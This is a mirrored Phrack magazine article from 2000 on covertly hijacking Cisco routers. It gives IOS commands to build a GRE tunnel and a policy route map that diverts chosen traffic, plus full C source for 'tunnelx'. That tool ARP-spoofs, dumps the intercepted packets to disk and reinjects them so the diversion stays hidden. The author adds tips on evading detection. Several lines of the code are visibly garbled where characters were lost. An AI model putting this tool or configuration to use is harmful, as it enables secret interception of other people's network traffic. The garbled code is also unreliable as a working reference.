mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
537 lines
18 KiB
Text
537 lines
18 KiB
Text
- P H R A C K M A G A Z I N E -
|
|
|
|
Volume 0xa Issue 0x38
|
|
05.01.2000
|
|
0x0a[0x10]
|
|
|
|
|----------------- THINGS TO DO IN CISCOLAND WHEN YOU'RE DEAD ----------------|
|
|
|-----------------------------------------------------------------------------|
|
|
|-------------------------- gauis <gaius@hert.org> ---------------------------|
|
|
|
|
|
|
v0.2 1/1/00
|
|
|
|
|
|
----| 1. Disclaimer
|
|
|
|
Tunnelx (the code) is part of the research and development effort conducted by
|
|
HERT (Hacker Emergency Response Team). It is not a production tool for either
|
|
attack or defense within an information warfare setting. Rather, it is a
|
|
project demonstrating proof of concept.
|
|
|
|
If you are not the intended recipient, or a person responsible for delivering
|
|
it to the intended recipient, you are not authorized to and must not disclose,
|
|
copy, distribute, or retain this message or any part of it. Such unauthorized
|
|
use may be unlawful. If you have received this transmission in error, please
|
|
email us immediately at hert@hert.org so that we can arrange for its return.
|
|
|
|
The views expressed in this document are not necessarily the views of HERT.
|
|
Its directors, officers or employees make no representation or accept any
|
|
liability for its accuracy or completeness unless expressly stated to the
|
|
contrary.
|
|
|
|
|
|
----| 2. Introduction
|
|
|
|
When I think about routers in general, I feel exactly like I do when I go to
|
|
the supermarket and see all this food and then I can't stop thinking of mad
|
|
cow disease, CJD, GMO... It makes me feel dizzy. Just go on cisco.com and
|
|
check what cisco 7500 is used for and how many corporations own them and how
|
|
many thousands of machines get routed through them... There is even a
|
|
traceroute map somewhere that can give you an idea of how deeply dependant we
|
|
are on these routers. It's been a long time since I stopped believing in
|
|
security, the core of the security problem is really because we are trusting
|
|
trust (read Ken Thomson's article, reflections on trusting trust), if I did
|
|
believe in security then I wouldn't be selling penetration tests.
|
|
|
|
How many times have you heard people saying, "Hey I 0wn this cisco, it would be
|
|
cool if I had IOS src... I could trojan and recompile it and do this and
|
|
that.", how many times have you heard of people wondering what the fuck they
|
|
could do with an enable password. The IOS src has been floating around for
|
|
quite a while now and no-one'z done anything with it yet; at least not among
|
|
the regular bugtraq letspretendtobefulldisclosure readers.
|
|
|
|
Well you don't even really need the IOS src, everything you need is already
|
|
there, (there is only one little thing that would be nice to have from the src
|
|
but we'll talk about it below). You can load up the image in IDA, nop out a
|
|
couple of instructions and the cisco's rmon implementation won't zero the
|
|
payload anymore and you have a IOS sniffer.
|
|
|
|
|
|
----| 3. Rerouting demystified
|
|
|
|
What you want to do is reroute some traffic from a router and send it to some
|
|
other place, capture it and resend it to the router and make it look like
|
|
nothing ever happened. Normal operation on a typical config will look like
|
|
this:
|
|
|
|
Internet ------------ Cisco ------------ Target
|
|
Ethernet0 Serial0
|
|
|
|
|
|
|
|
What we are going to do is:
|
|
|
|
# telnet cisco
|
|
Trying 192.168.1.240...
|
|
Connected to 192.168.1.240.
|
|
Escape character is '^]'.
|
|
|
|
|
|
User Access Verification
|
|
|
|
Password:
|
|
cisco> enable
|
|
Password:
|
|
cisco# configure term
|
|
Enter configuration commands, one per line. End with CNTL/Z.
|
|
cisco(config)# int tunnel0
|
|
cisco(config-if)# ip address 192.168.0.1 255.255.255.0
|
|
cisco(config-if)# tunnel mode ?
|
|
aurp AURP TunnelTalk AppleTalk encapsulation
|
|
cayman Cayman TunnelTalk AppleTalk encapsulation
|
|
dvmrp DVMRP multicast tunnel
|
|
eon EON compatible CLNS tunnel
|
|
gre generic route encapsulation protocol
|
|
ipip IP over IP encapsulation
|
|
nos IP over IP encapsulation (KA9Q/NOS compatible)
|
|
|
|
cisco(config-if)# tunnel mode gre ip
|
|
cisco(config-if)# tunnel source ?
|
|
A.B.C.D ip address
|
|
BRI ISDN Basic Rate Interface
|
|
Dialer Dialer interface
|
|
Ethernet IEEE 802.3
|
|
Lex Lex interface
|
|
Loopback Loopback interface
|
|
Null Null interface
|
|
Tunnel Tunnel interface
|
|
cisco(config-if)# tunnel source Ethernet0/0/0
|
|
cisco(config-if)# tunnel destination 192.168.1.1
|
|
cisco(config-if)# ^Z
|
|
cisco# show interfaces Tunnel0
|
|
Tunnel0 is up, line protocol is up
|
|
Hardware is Tunnel
|
|
Internet address is 192.168.0.1/24
|
|
MTU 1500 bytes, BW 9 Kbit, DLY 500000 usec, rely 255/255, load 1/255
|
|
Encapsulation TUNNEL, loopback not set, keepalive set (10 sec)
|
|
Tunnel source 192.168.1.240 (Ethernet0), destination 192.168.1.1
|
|
Tunnel protocol/transport GRE/IP, key disabled, sequencing disabled
|
|
Checksumming of packets disabled, fast tunneling enabled
|
|
Last input never, output never, output hang never
|
|
Last clearing of "show interface" counters never
|
|
Input queue: 0/75/0 (size/max/drops); Total output drops: 0
|
|
5 minute input rate 0 bits/sec, 0 packets/sec
|
|
5 minute output rate 0 bits/sec, 0 packets/sec
|
|
0 packets input, 0 bytes, 0 no buffer
|
|
Received 0 broadcasts, 0 runts, 0 giants
|
|
0 input errors, 0 CRC, 0 frame, 0 overrun, 0 ignored, 0 abort
|
|
0 packets output, 0 bytes, 0 underruns
|
|
0 output errors, 0 collisions, 0 interface resets
|
|
0 output buffer failures, 0 output buffers swapped out
|
|
cisco#
|
|
|
|
At that point tcpdump won't show any output unless you try to ping an IP on
|
|
the 192.168.0.1/24 network. You will see some GRE encapsulated ICMP packets
|
|
and some icmp proto 47 unreach packet coming from 192.168.1.1.
|
|
|
|
On your linux test box, make sure you have protocol number 47 unfirewalled,
|
|
|
|
test# ipchains -I input -p 47 -j ACCEPT # accept GRE protocol
|
|
test# modprobe ip_gre
|
|
test# ip tunnel add tunnel0 mode gre remote 192.168.1.240 local
|
|
192.168.1.1
|
|
test# ifconfig tunnel0 192.168.0.2 netmask 255.255.255.0
|
|
test# ping 192.168.0.2
|
|
PING 192.168.0.2 (192.168.0.2): 56 data bytes
|
|
64 bytes from 192.168.0.2: icmp_seq=0 ttl=255 time=0.3 ms
|
|
^C
|
|
|
|
Ok our link is up. And as you can see by default GRE is really stateless.
|
|
There is no handshake, as we are not in Microsoft land with GRE2 and stupid
|
|
PPTP.
|
|
|
|
test# tcpdump -i eth1 host 192.168.1.240 and not port 23
|
|
tcpdump: listening on eth1
|
|
11:04:44.092895 arp who-has cisco tell private-gw
|
|
11:04:44.094498 arp reply cisco is-at 0:6d:ea:db:e:ef
|
|
11:04:44.094528 192.168.0.2 > 192.168.0.1: icmp: echo request (gre encap)
|
|
11:04:44.097458 192.168.0.1 > 192.168.0.2: icmp: echo reply (gre encap)
|
|
|
|
GRE's rfc isn't really verbose, and cisco coders are bashed in the linux GRE
|
|
implementation source for not respecting their own RFC.
|
|
|
|
Let's look at tcpdump src on ftp.ee.lbl.gov. Tcpdump sources are nice;
|
|
in the file print-gre.c we have most of the info we need to start coding
|
|
tunnelx.
|
|
|
|
|
|
----| 4. tunnelx - IOS Transparent reroute and capture
|
|
|
|
I initialized a new CVS tree with libpcap and libnet, some gre header ripped
|
|
from tcpdump, reread pcap's manpage while eating some Chunky Monkey, took
|
|
a glance at libnet's API doc and cleaned off the pizza bits and ice cream
|
|
from my fingers and decided to code something really simple and see if it
|
|
works:
|
|
|
|
- We define an unused IP address we call REENTRY and a fake ethernet address to
|
|
avoid a protocol unreachable storm that we call ETHER_SPOOF.
|
|
- We initialize libpcap and libnet and set up a pcap_loop.
|
|
|
|
- Then we make a pcap handler, which look for IP packets matching the GRE
|
|
protocol which are going to the tunnel exit point address as well as ARP
|
|
request packets.
|
|
|
|
- Our ARP parser bails out if it isn't a request for REENTRY or send a reply
|
|
with ETHER_SPOOF.
|
|
|
|
- Our GRE parser simply swaps IP and ether source and destitution, and
|
|
writes the packet to disk with pcap_dump(), increase the ttl, recompute
|
|
the checksum and flush it with libnet_write.
|
|
|
|
- That's it!!! Never would have believed it would have been so simple. Now
|
|
comes the tricky part; we have to configure the cisco correctly (define an
|
|
access list with all the stuff you want to reroute in it).
|
|
|
|
|
|
telnet 192.88.115.98
|
|
...
|
|
|
|
config term
|
|
int tunnel0
|
|
ip address 192.168.0.1 255.255.255.0
|
|
tunnel mode gre ip
|
|
tunnel source Ethernet0
|
|
tunnel destination TUNNELX_REENTRY_IP
|
|
!
|
|
access-list 111 permit tcp any host 192.88.209.10 25
|
|
!
|
|
route-map certisowned
|
|
match ip address 111
|
|
set ip next-hop 192.168.0.7
|
|
!
|
|
!
|
|
interface Ethernet0
|
|
description to cert.org
|
|
ip address 192.88.115.98
|
|
ip policy route-map certisowned
|
|
^Z
|
|
|
|
|
|
If you had tunnelx up and running before setting up the cisco config then it
|
|
should work now!!! And traceroute doesn't show any thing since its packets
|
|
are not matched by our access list!
|
|
|
|
BEWARE, however, when you want to disable the cisco configuration. Remove the
|
|
route map first with 'no route-map certisowned' *before* the access list
|
|
otherwise it will match all packets and they will go in an endless loop. Try
|
|
it on a small cisco 1600 before going in the wild with this stuff. Also try
|
|
not to be far away from the cisco. People can only know on which network
|
|
packets are captured not the actual host since we are arp spoofing, so take
|
|
advantage of that.
|
|
|
|
I said in the intro that some bits from IOS src would be nice to use, it
|
|
is their crypto code. You can setup an encrypted tunnel, make it use the
|
|
same key on both way so it will encrypt outgoing packets and decrypt them when
|
|
they come back. Tunnelx is just the same. You just need to add the crypto
|
|
routine in your pcap reader to make it decrypt the traffic.
|
|
|
|
Oh yes, I didn't talk about the pcap reader, you can just make a small program
|
|
that parses the pcap dump from tunnelx, make it un-encapsulate the GRE packet,
|
|
and create files for each session. lseek() is the key to do it without missing
|
|
out of order packets or getting messed up by duplicates. Since this article
|
|
is not destined for the average bugtraq or rootshell reader, the pcap dump
|
|
parser isn't included, you can send me some cash if you need a special version
|
|
of tunnelx or need technical support.
|
|
|
|
----| 5. Greeting and final words
|
|
|
|
:r !cat greetlist |sort -u |sed -e 's/$/, /'|xargs #hax idlers, acpizer,
|
|
akg, antilove (your piggy coding style is great), awr, binf, cb, cisco9,
|
|
ee.lbl.gov, f1ex, gamma, ice, jarvis, joey, kil3r, klog, meta, minus, nises,
|
|
octa, plaguez, plasmoid, route (thx 4 libnet), scalp, scuzzy, shok, swr,
|
|
teso crew, the owl, tmoggie, ultor, wilkins, ze others i forgot,
|
|
|
|
I am already working on a new version that will let you do spoofing,
|
|
hijacking, and monitoring like in hunt... Don't forget you're on the router,
|
|
you can do everything, and everyone trusts you :).
|
|
|
|
|
|
----| 6. The code
|
|
<++> p56/Tunnelx/tunnelx.c !0d503a37
|
|
// Tunnelx is part of the research and development effort
|
|
// conducted by HERT. These are not production tools for either attack or
|
|
// defense within an information warfare setting. Rather, they are small
|
|
// modifications demonstrating proof of concept.
|
|
// comments and crap to gaius@hert.org
|
|
|
|
// to compile on solaris: (i used libnet-0.99g)
|
|
// gcc -O2 -I. -DLIBNET_BIG_ENDIAN -Wall -c tunnelx.c
|
|
// gcc -O2 tunnelx.o -o tunnelx -lsocket -lnsl libpcap.a libnet.a
|
|
// on linux:
|
|
// gcc -O2 -I. `libnet-config --defines` -c tunnelx.c
|
|
// gcc -O2 tunnelx.o -o tunnelx libpcap.a libnet.a
|
|
|
|
#if (HAVE_CONFIG_H)
|
|
#include "config.h"
|
|
#endif
|
|
#include <libnet.h>
|
|
#include <pcap.h>
|
|
|
|
#define IP_UCHAR_COMP(x, y) \
|
|
(x[0] == y[0] && x[1] == y[1] && x[2] == y[2] && x[3] == y[3])
|
|
|
|
#define GRE_CP 0x8000 /* Checksum Present */
|
|
#define GRE_RP 0x4000 /* Routing Present */
|
|
#define GRE_KP 0x2000 /* Key Present */
|
|
#define GRE_SP 0x1000 /* Sequence Present */
|
|
#define GRE_SIZE (20)
|
|
#define GREPROTO_IP 0x0800
|
|
#define EXTRACT_16BITS(p) \
|
|
((u_short)ntohs(*(u_short *)(p)))
|
|
|
|
const u_char *packetp;
|
|
const u_char *snapend;
|
|
|
|
#define SNAPLEN 8192
|
|
#define TUNNELX_REENTRY "192.168.1.1"
|
|
char out[] = "core";
|
|
u_long ip_spoof;
|
|
u_char ether_spoof[6] = {0xEA, 0x1A, 0xDE, 0xAD, 0xBE, 0xEF};
|
|
|
|
struct gre_hdr
|
|
{
|
|
u_short flags;
|
|
u_short proto;
|
|
union
|
|
{
|
|
struct gre_ckof
|
|
{
|
|
u_short cksum;
|
|
u_short offset;
|
|
}
|
|
gre_ckof;
|
|
u_long key;
|
|
u_long seq;
|
|
}
|
|
gre_void1;
|
|
union
|
|
{
|
|
u_long key;
|
|
u_long seq;
|
|
u_long routing;
|
|
}
|
|
gre_void2;
|
|
union
|
|
{
|
|
u_long seq;
|
|
u_long routing;
|
|
}
|
|
gre_void3;
|
|
union
|
|
{
|
|
u_long routing;
|
|
}
|
|
gre_void4;
|
|
};
|
|
|
|
struct link_int *li;
|
|
char default_dev[] = "le0";
|
|
char *device = NULL;
|
|
|
|
void pcap_print (u_char * user, const struct pcap_pkthdr *h,
|
|
const u_char * p);
|
|
char errbuf[256];
|
|
|
|
int
|
|
main (int argc, char *argv[])
|
|
{
|
|
int cnt, c, ret, snaplen;
|
|
bpf_u_int32 localnet, netmask;
|
|
char ebuf[PCAP_ERRBUF_SIZE];
|
|
char pcapexp[50];
|
|
pcap_t *pd;
|
|
struct bpf_program fcode;
|
|
pcap_handler printer;
|
|
u_char *pcap_userdata;
|
|
|
|
snaplen = SNAPLEN;
|
|
printer = pcap_print;
|
|
|
|
while ((c = getopt (argc, argv, "i:")) != EOF)
|
|
{
|
|
switch (c)
|
|
{
|
|
case 'i':
|
|
device = optarg;
|
|
break;
|
|
default:
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
}
|
|
|
|
//inet_aton (TUNNELX_REENTRY, \_spoof);
|
|
ip_spoof = libnet_name_resolve(TUNNELX_REENTRY, 0);
|
|
device = default_dev;
|
|
if (!device)
|
|
{
|
|
fprintf (stderr, "Specify a device\n");
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
|
|
li = libnet_open_link_interface (device, errbuf);
|
|
if (!li)
|
|
{
|
|
fprintf (stderr, "libnet_open_link_interface: %s\n", errbuf);
|
|
exit (EXIT_FAILURE);
|
|
}
|
|
if (device == NULL)
|
|
device = pcap_lookupdev (ebuf);
|
|
if (device == NULL)
|
|
printf ("%s", ebuf);
|
|
|
|
pd = pcap_open_live (device, snaplen, 1, 500, errbuf);
|
|
if (pd == NULL)
|
|
{
|
|
fprintf (stderr, "pcap_open_live: %s\n", errbuf);
|
|
return (-1);
|
|
}
|
|
if (pd == NULL)
|
|
printf ("%s", ebuf);
|
|
ret = pcap_snapshot (pd);
|
|
if (snaplen < ret)
|
|
{
|
|
printf ("Snaplen raised from %d to %d\n", snaplen, ret);
|
|
snaplen = ret;
|
|
}
|
|
if (pcap_lookupnet (device, , , ebuf) < 0)
|
|
{
|
|
localnet = 0;
|
|
netmask = 0;
|
|
}
|
|
sprintf(pcapexp, "arp or (host %s and proto 47)", TUNNELX_REENTRY);
|
|
if (pcap_compile (pd,
|
|
,
|
|
pcapexp,
|
|
1, netmask) < 0)
|
|
printf ("%s", pcap_geterr (pd));
|
|
|
|
if (pcap_setfilter (pd, ) < 0)
|
|
printf ("%s", pcap_geterr (pd));
|
|
if (out)
|
|
{
|
|
pcap_dumper_t *p = pcap_dump_open (pd, out);
|
|
pcap_userdata = (u_char *) p;
|
|
}
|
|
|
|
if (pcap_loop (pd, cnt, printer, pcap_userdata) < 0)
|
|
{
|
|
(void) fprintf (stderr, "pcap_loop: %s\n", pcap_geterr (pd));
|
|
exit (1);
|
|
}
|
|
pcap_close (pd);
|
|
exit (0);
|
|
}
|
|
|
|
void
|
|
pcap_print (u_char * user, const struct pcap_pkthdr *h, const u_char * p)
|
|
{
|
|
register struct libnet_ethernet_hdr *eh;
|
|
register struct gre_hdr *gh;
|
|
register struct libnet_ip_hdr *ih;
|
|
register struct libnet_arp_hdr *ah;
|
|
register char *dst, *src;
|
|
register u_int ih_length, payload_length, off;
|
|
u_int length = h->len;
|
|
u_int caplen = h->caplen;
|
|
u_short proto;
|
|
struct ether_addr tmp_ea;
|
|
|
|
packetp = p;
|
|
snapend = p + caplen;
|
|
|
|
eh = (struct libnet_ethernet_hdr *) p;
|
|
p += sizeof (struct libnet_ethernet_hdr);
|
|
caplen -= sizeof (struct libnet_ethernet_hdr);
|
|
length -= sizeof (struct libnet_ethernet_hdr);
|
|
|
|
switch (ntohs (eh->ether_type))
|
|
{
|
|
case ETHERTYPE_IP:
|
|
ih = (struct libnet_ip_hdr *) p;
|
|
ih_length = ih->ip_hl * 4;
|
|
payload_length = ntohs (ih->ip_len);
|
|
payload_length -= ih_length;
|
|
off = ntohs (ih->ip_off);
|
|
if ((off & 0x1fff) == 0)
|
|
{
|
|
p = (u_char *) ih + ih_length;
|
|
src = strdup (inet_ntoa (ih->ip_src));
|
|
dst = strdup (inet_ntoa (ih->ip_dst));
|
|
switch (ih->ip_p)
|
|
{
|
|
#ifndef IPPROTO_GRE
|
|
#define IPPROTO_GRE 47
|
|
#endif
|
|
case IPPROTO_GRE:
|
|
gh = (struct gre_hdr *) p;
|
|
p += 4;
|
|
if (memcmp (>ip_dst, _spoof, 4) == 0)
|
|
{
|
|
// reverse GRE source and destination
|
|
memcpy (tmp_ea.ether_addr_octet, >ip_src, 4);
|
|
memcpy (>ip_src, >ip_dst, 4);
|
|
memcpy (>ip_dst, tmp_ea.ether_addr_octet, 4);
|
|
// ih->ip_id++;
|
|
// reverse Ether source and destination
|
|
memcpy (tmp_ea.ether_addr_octet, eh->ether_shost, ETHER_ADDR_LEN);
|
|
memcpy (eh->ether_shost, eh->ether_dhost, ETHER_ADDR_LEN);
|
|
memcpy (eh->ether_dhost, tmp_ea.ether_addr_octet, ETHER_ADDR_LEN);
|
|
// dope the ttl up
|
|
ih->ip_ttl = 64;
|
|
if (libnet_do_checksum ((u_char *) ih, IPPROTO_IP, ih_length) == -1)
|
|
return;
|
|
|
|
if (libnet_write_link_layer (li, device, (u_char *) eh,
|
|
payload_length + ih_length + sizeof (struct libnet_ethernet_hdr))
|
|
== -1)
|
|
return;
|
|
pcap_dump (user, h, packetp);
|
|
}
|
|
proto = EXTRACT_16BITS (>proto);
|
|
break;
|
|
default:
|
|
return;
|
|
}
|
|
}
|
|
break;
|
|
case ETHERTYPE_ARP:
|
|
// process arp
|
|
ah = (struct libnet_arp_hdr *) p;
|
|
if (EXTRACT_16BITS (>ar_op) != ARPOP_REQUEST)
|
|
{
|
|
return;
|
|
}
|
|
if (memcmp (ah->ar_tpa, _spoof, 4) != 0)
|
|
return;
|
|
// swap ip source and address i use ar_tha as a temporary place holder
|
|
memcpy (ah->ar_tha, ah->ar_spa, 4);
|
|
memcpy (ah->ar_spa, ah->ar_tpa, 4);
|
|
memcpy (ah->ar_tpa, ah->ar_tha, 4);
|
|
// move ether addr source to both destination
|
|
memcpy (eh->ether_dhost, eh->ether_shost, ETHER_ADDR_LEN);
|
|
memcpy (ah->ar_tha, eh->ether_shost, ETHER_ADDR_LEN);
|
|
// copy fake ether addr to both source
|
|
memcpy (eh->ether_shost, ether_spoof, ETHER_ADDR_LEN);
|
|
memcpy (ah->ar_sha, ether_spoof, ETHER_ADDR_LEN);
|
|
// set arp op code to reply
|
|
ah->ar_op = htons (2);
|
|
if (libnet_write_link_layer (li, device, (u_char *) eh,
|
|
ARP_H + ETH_H) == -1)
|
|
return;
|
|
break;
|
|
}
|
|
}
|
|
<-->
|
|
|
|
|EOF|-------------------------------------------------------------------------|
|